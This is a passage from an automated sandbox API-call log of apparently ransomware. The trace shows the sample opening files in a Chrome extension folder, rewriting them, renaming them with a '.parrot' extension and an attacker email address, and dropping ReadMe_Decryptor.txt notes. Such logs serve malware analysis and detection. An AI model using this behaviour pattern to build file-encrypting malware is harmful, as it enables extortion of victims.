hHeap=0x5b0000) returned 1 [0053.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0053.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0053.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5cb2e0 [0053.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0053.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x178) returned 0x2240a80 [0053.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb2e0 | out: hHeap=0x5b0000) returned 1 [0053.600] WriteFile (in: hFile=0x280, lpBuffer=0x2240a80*, nNumberOfBytesToWrite=0x178, lpNumberOfBytesWritten=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2240a80*, lpNumberOfBytesWritten=0x18e024*=0x178, lpOverlapped=0x0) returned 1 [0053.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0053.600] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x177, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0053.600] CloseHandle (hObject=0x280) returned 1 [0053.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x2240a80 [0053.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x2240b98 [0053.601] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0053.601] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0053.602] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b98 | out: hHeap=0x5b0000) returned 1 [0053.602] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22408f8 | out: hHeap=0x5b0000) returned 1 [0053.602] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0053.602] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x689260 [0053.602] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x22408f8 [0053.602] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0053.602] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0053.602] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18de18, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0053.603] GetFileType (hFile=0x280) returned 0x1 [0053.603] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0053.614] lstrcmpW (lpString1="manifest.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0053.614] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0053.614] GetFileSize (in: hFile=0x280, lpFileSizeHigh=0x18e0a0 | out: lpFileSizeHigh=0x18e0a0*=0x0) returned 0x2d5 [0053.614] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3ed, nNumberOfBytesToLockHigh=0x0) returned 1 [0053.614] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0053.614] ReadFile (in: hFile=0x280, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0053.743] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.744] ReadFile (in: hFile=0x280, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2d5, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x2d5, lpOverlapped=0x0) returned 1 [0053.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0053.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0053.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0053.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0053.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0053.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0053.744] GetLastError () returned 0x0 [0053.744] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0053.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0053.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0053.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0053.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0053.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0053.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0053.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0053.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0053.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0053.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0053.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0053.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0053.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0053.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0053.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d588 [0053.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0053.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0053.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0053.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0053.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0053.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0053.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0053.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5d33c8 [0053.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0053.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22403b8 [0053.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0053.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d4ea0 [0053.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22403b8 | out: hHeap=0x5b0000) returned 1 [0053.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d4fe8 [0053.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4ea0 | out: hHeap=0x5b0000) returned 1 [0053.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x5d51d0 [0053.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4fe8 | out: hHeap=0x5b0000) returned 1 [0053.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d54a0 [0053.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51d0 | out: hHeap=0x5b0000) returned 1 [0053.745] WriteFile (in: hFile=0x280, lpBuffer=0x5d54a0*, nNumberOfBytesToWrite=0x3f8, lpNumberOfBytesWritten=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x5d54a0*, lpNumberOfBytesWritten=0x18e024*=0x3f8, lpOverlapped=0x0) returned 1 [0053.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d54a0 | out: hHeap=0x5b0000) returned 1 [0053.745] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3ed, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0053.745] CloseHandle (hObject=0x280) returned 1 [0053.746] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240eb0 [0053.746] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1ae) returned 0x5d4ea0 [0053.746] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240eb0 | out: hHeap=0x5b0000) returned 1 [0053.747] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0053.747] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4ea0 | out: hHeap=0x5b0000) returned 1 [0053.747] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0053.747] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22408f8 | out: hHeap=0x5b0000) returned 1 [0053.747] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x689260 [0053.747] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x22408f8 [0053.747] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0053.747] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0053.748] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18de18, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0053.748] GetFileType (hFile=0x280) returned 0x1 [0053.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0053.759] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0054.114] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.114] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b4d630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b4d630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.116] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.116] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.116] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857953d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857953d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0054.116] lstrcmpW (lpString1="ar", lpString2=".") returned 1 [0054.116] lstrcmpW (lpString1="ar", lpString2="..") returned 1 [0054.116] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x2240c98 [0054.116] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x2240db0 [0054.116] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240c98 | out: hHeap=0x5b0000) returned 1 [0054.116] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0054.117] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240a80 [0054.117] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d4d18 [0054.117] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0054.117] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.117] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857953d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857953d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.120] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.120] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.120] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857953d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x101, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0054.120] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0054.120] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0054.120] lstrcmpW (lpString1="messages.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0054.120] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0054.120] GetFileSize (in: hFile=0x288, lpFileSizeHigh=0x18dac0 | out: lpFileSizeHigh=0x18dac0*=0x0) returned 0x101 [0054.120] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x219, nNumberOfBytesToLockHigh=0x0) returned 1 [0054.120] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0054.120] ReadFile (in: hFile=0x288, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0054.121] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.121] ReadFile (in: hFile=0x288, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x101, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x101, lpOverlapped=0x0) returned 1 [0054.121] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0054.121] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0054.121] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0054.121] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0054.121] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0054.121] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0054.121] GetLastError () returned 0x0 [0054.122] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.122] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0054.122] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0054.122] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0054.122] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0054.122] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0054.122] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0054.122] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0054.122] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0054.122] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0054.122] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0054.122] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0054.122] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0054.122] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0054.122] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0054.122] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0054.122] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0054.122] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0054.122] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0054.122] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0054.122] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0054.122] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0054.122] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0054.122] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0054.122] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240f50 [0054.122] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0054.122] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0054.122] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f50 | out: hHeap=0x5b0000) returned 1 [0054.122] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d4f30 [0054.122] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0054.122] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x228) returned 0x5d5078 [0054.123] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4f30 | out: hHeap=0x5b0000) returned 1 [0054.123] WriteFile (in: hFile=0x288, lpBuffer=0x5d5078*, nNumberOfBytesToWrite=0x228, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d5078*, lpNumberOfBytesWritten=0x18da44*=0x228, lpOverlapped=0x0) returned 1 [0054.123] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5078 | out: hHeap=0x5b0000) returned 1 [0054.123] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x219, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0054.123] CloseHandle (hObject=0x288) returned 1 [0054.124] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d4f30 [0054.124] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d5068 [0054.124] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4f30 | out: hHeap=0x5b0000) returned 1 [0054.124] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0054.125] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5068 | out: hHeap=0x5b0000) returned 1 [0054.125] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240ba8 | out: hHeap=0x5b0000) returned 1 [0054.125] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da1e8 | out: hHeap=0x5b0000) returned 1 [0054.125] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240ba8 [0054.125] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d4f30 [0054.125] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0054.125] 